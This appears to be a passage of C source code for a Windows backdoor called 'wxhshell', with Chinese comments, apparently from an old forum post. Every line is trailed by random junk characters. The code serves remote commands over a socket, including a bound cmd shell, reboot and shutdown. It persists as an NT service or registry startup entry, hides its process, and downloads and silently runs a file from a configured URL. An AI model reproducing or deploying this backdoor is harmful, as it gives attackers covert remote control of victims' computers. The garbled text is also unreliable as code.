    switch(cmd[0]) { of`WP  
  3BB/u%N}  
  // 帮助 hXx:D3h  
  case '?': { a1v?{vu\E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g{m~TVm'  
    break; ]v$2JgF]@  
  } #Jfmt~ks '  
  // 安装 A5G@u}YS5  
  case 'i': { )/bv@Am  
    if(Install()) Ek '% % %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \6/!{D,  
    else 4HGR-S/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RRGs:h@;  
    break; k rXU*64  
    } u>2opI~m  
  // 卸载 yJ8_<A  
  case 'r': { 2y9$ k\<xV  
    if(Uninstall()) -TyBb]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4[rA2Bf8E  
    else m!Aw,*m+*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =%;TVJk*a  
    break; }y%mG&KSz  
    } ` >k7^!Ds  
  // 显示 wxhshell 所在路径 P0-K/_g  
  case 'p': { \Iz-<:gA'  
    char svExeFile[MAX_PATH]; F=;nWQ&  
    strcpy(svExeFile,"\n\r"); DM{Z#b]  
      strcat(svExeFile,ExeFile); QU@CPME  
        send(wsh,svExeFile,strlen(svExeFile),0); -Z:nImqzc  
    break; ,k,+UisG  
    } 2:6lr4{uY  
  // 重启 I"WmDC`1  
  case 'b': { x0q `Uc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ntpw(E<$f  
    if(Boot(REBOOT)) vVbS 4_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4:6zU/{  
    else {  '5P:;zw  
    closesocket(wsh); +Ui%}^ZZ  
    ExitThread(0); Mbtk:GuY  
    } ~fz9PoC  
    break; m =MM  
    } -QQU>_  
  // 关机 f5#VU7=1F2  
  case 'd': { %){)/~e&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gg5>~"pb  
    if(Boot(SHUTDOWN)) .[vYT.LE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z7dVy8J  
    else { )oMMDH w\  
    closesocket(wsh); ODPWFdRar  
    ExitThread(0); G5$YXNV  
    } 5g phza  
    break; PtOYlZTe?  
    } 2| ERif;)  
  // 获取shell -p20UP 1I  
  case 's': { RG`eNRTQ%  
    CmdShell(wsh); C33=<r[;N<  
    closesocket(wsh); xx[l#+:c  
    ExitThread(0); bm(.(0MI  
    break; K1-y[pS]E  
  } p+:MZP -%(  
  // 退出 o@r~KFIe  
  case 'x': { u%nhQ%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r59BBW)M  
    CloseIt(wsh); g|x* sZR~Y  
    break; #lx(F3  
    } Pb/[945  
  // 离开 1K{hj%  
  case 'q': { h%U,g 9_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  5f_1 dn  
    closesocket(wsh); ]"U/3dL5  
    WSACleanup(); -VZ? c  
    exit(1); /Au7X'}  
    break; 3>k?-%"  
        } /m+.5Qz9)@  
  } WL1$LLzN  
  } V(6Ql j7  
{o8K&XU#&t  
  // 提示信息 kC0^2./p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^xF-IA#ZeB  
} *Q,9 [k  
  } lC=T{rR  
8"J6(KS  
  return; v c b}Gk  
} u!I=|1s  
O3(H_(P  
// shell模块句柄 Rnk&:c  
int CmdShell(SOCKET sock) nbSu|sX~r5  
{ HmRmZ3~  
STARTUPINFO si; ZgL]ex  
ZeroMemory(&si,sizeof(si)); w(R+p/RF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cq<k(TKAX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; S(hT3MAW  
PROCESS_INFORMATION ProcessInfo; O|0}m  
char cmdline[]="cmd"; Xa&0j&AH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 604^~6  
  return 0; C )+%9Edg  
} Cg%}=  
w:@W/e*9N  
// 自身启动模式 9lSs;zm{Q  
int StartFromService(void) UJrN+RtL  
{ `:EU~4s\  
typedef struct IFF3gh42.  
{ (Z at|R.F  
  DWORD ExitStatus; ;%$wA5"2M  
  DWORD PebBaseAddress; ug9]^p/)^  
  DWORD AffinityMask; EL1*@  
  DWORD BasePriority; o\:vxj+%*  
  ULONG UniqueProcessId; f5hf<R),A  
  ULONG InheritedFromUniqueProcessId; *^.OqbO[U  
}   PROCESS_BASIC_INFORMATION; c$R<j'7  
[knwp$  
PROCNTQSIP NtQueryInformationProcess; U#F(%b-LC  
^TCfj^FP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -n`2>L1  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .7MLgC;  
iLJBiZ+  
  HANDLE             hProcess; Ox"SQ`nSj'  
  PROCESS_BASIC_INFORMATION pbi; =1% <  
r*W&SU9Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &W-1W99auE  
  if(NULL == hInst ) return 0; S *K0OUq  
q%8Ck)xz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Gz 79VW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rZG6}<Hx  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yI_MY L[  
z]R)Bh  
  if (!NtQueryInformationProcess) return 0; <'z.3@D  
GQ= Pkko  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Z(\iZ5Rgj  
  if(!hProcess) return 0; ~`o%Y"p%rv  
uZ(,7>0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t-$Hti7Lk  
E#mpj~{-  
  CloseHandle(hProcess); y'U-y"7y  
dmUa\1g#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _&/2-3]\B  
if(hProcess==NULL) return 0; *Au[{sR  
#=aTSw X  
HMODULE hMod; @!2vS@f  
char procName[255]; !yf7y/qY  
unsigned long cbNeeded; ]ag^~8bG @  
F]`_akE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QF9$SCmv  
:A]CD (  
  CloseHandle(hProcess); @y{ f>nm  
wxo{gBq  
if(strstr(procName,"services")) return 1; // 以服务启动 Cc!LJ  
%pr}Xs(-f  
  return 0; // 注册表启动 g2W ZW#a)  
} lsRW.h,  
S]}W+BF3  
// 主模块 HWi: CDgm  
int StartWxhshell(LPSTR lpCmdLine) H0Ck%5  
{ /7p1y v  
  SOCKET wsl; w.R2' W R  
BOOL val=TRUE; BZAF;j  
  int port=0; &Vmx<w  
  struct sockaddr_in door; 2N}h<Yd 9  
+pJ~<ug]  
  if(wscfg.ws_autoins) Install(); q OX=M  
qq[Enf|/y  
port=atoi(lpCmdLine); Ai.^~#%X  
Bz*6M  
if(port<=0) port=wscfg.ws_port; T{mIk p<  
P_%kYcX'  
  WSADATA data; rZ^VKO`~I1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,U#FtOec  
spv'r!*\ed  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "BD$-]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lehuJgz'OO  
  door.sin_family = AF_INET; $BWA= 2$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WS1$cAD2N  
  door.sin_port = htons(port); x$/: %"E  
k{w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C9"yu&l  
closesocket(wsl); |A19IXZ\  
return 1; a qIpO  
} LQ.0"6oj  
Xrd-/('2  
  if(listen(wsl,2) == INVALID_SOCKET) { T96M=?wh!  
closesocket(wsl); 2)47$eu  
return 1; o&U/e\zy  
} Cy'! >  
  Wxhshell(wsl); G.sf>.[  
  WSACleanup(); RL~]mI!U  
-q}I; cH  
return 0; :dj=kuUTbu  
gtw?u b  
} e? n8S  
vC ISd   
// 以NT服务方式启动 a&s&6Q|Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xm bFJUMH  
{ Xe>   
DWORD   status = 0; dn|OY. `|  
  DWORD   specificError = 0xfffffff; '"fZGz?  
rz]M}!>k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cux<7#6af  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vN3uLz'<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [-'LJG Wb<  
  serviceStatus.dwWin32ExitCode     = 0; ^9A,j} >o-  
  serviceStatus.dwServiceSpecificExitCode = 0; V"R,omh  
  serviceStatus.dwCheckPoint       = 0; j<C p&}X  
  serviceStatus.dwWaitHint       = 0; Sx}61?  
2;&!]2vo$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A_JNj8<6r  
  if (hServiceStatusHandle==0) return; w>uo-88  
ZRLS3*`  
status = GetLastError(); h$rk]UM/Q  
  if (status!=NO_ERROR) w@&(=C  
{ (=/}i'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wl:[Ad  
    serviceStatus.dwCheckPoint       = 0; 1h#UM6  
    serviceStatus.dwWaitHint       = 0; MgUjB~)Y  
    serviceStatus.dwWin32ExitCode     = status; $7'KcG  
    serviceStatus.dwServiceSpecificExitCode = specificError; G>w+J'7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &1$|KbmV4  
    return; 7bC)Co#:   
  } U# 7K^(E9  
XD$;K$_7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?N(opggiD  
  serviceStatus.dwCheckPoint       = 0; ;J&9 l >  
  serviceStatus.dwWaitHint       = 0; <A@qN95m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .YxcXe3#  
}  a5@XD_b  
;iT ZzmB  
// 处理NT服务事件,比如:启动、停止 );oE^3]f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *ci%c^}V  
{ eL{6;.C  
switch(fdwControl) 5;Q9Z1 `  
{ (|U|>@  
case SERVICE_CONTROL_STOP: |tqYRWn0  
  serviceStatus.dwWin32ExitCode = 0;  dPCn6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Rg6/6/ IN  
  serviceStatus.dwCheckPoint   = 0; J\c\Ar :  
  serviceStatus.dwWaitHint     = 0; gzeTBlXg  
  { Lm"zW>v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (YKkJ  
  } Xgyi}~AoaU  
  return; z]bcg$m  
case SERVICE_CONTROL_PAUSE: =Xh*w  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c},wW@SF2W  
  break; 6 P U]I+  
case SERVICE_CONTROL_CONTINUE: m.2=,,r<Fq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bA8RoC  
  break; JPGEE1!B{b  
case SERVICE_CONTROL_INTERROGATE: 1_0\_|  
  break; d+Au`'{>  
}; rugR>&mea  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fv T;8ik:3  
} :Wl`8p4]  
\+Pk"M  
// 标准应用程序主函数 n>aH7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 68, (+vkB  
{ gO,2:,  
x>m=n_  
// 获取操作系统版本 ? fmW'vs  
OsIsNt=GetOsVer(); L+J)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B96"|v$  
] R-<v&O  
  // 从命令行安装 mqk tM6  
  if(strpbrk(lpCmdLine,"iI")) Install(); Gn} ^BJN  
uPQrDr5  
  // 下载执行文件 h&j9'  
if(wscfg.ws_downexe) { )R@M~d-o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *Ph@XkhU  
  WinExec(wscfg.ws_filenam,SW_HIDE); [[gfR'79{  
} x3]y*6  
 O)?  
if(!OsIsNt) { M&~cU{9c  
// 如果时win9x,隐藏进程并且设置为注册表启动 !(>yB;u  
HideProc(); .Mu]uQUF  
StartWxhshell(lpCmdLine); )W.Y{\D0  
} 32Jl|@8,g  
else IBSoAL  
  if(StartFromService()) mj _ V6`m4  
  // 以服务方式启动 6V^KOG  
  StartServiceCtrlDispatcher(DispatchTable); c!HmZ]/  
else mH)th7  
  // 普通方式启动 z;+LU6V  
  StartWxhshell(lpCmdLine); {H[3[  
"?SR+;Y:q  
return 0; UV j1nom   
}
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只看该作者 1 发表于: 2006-10-10
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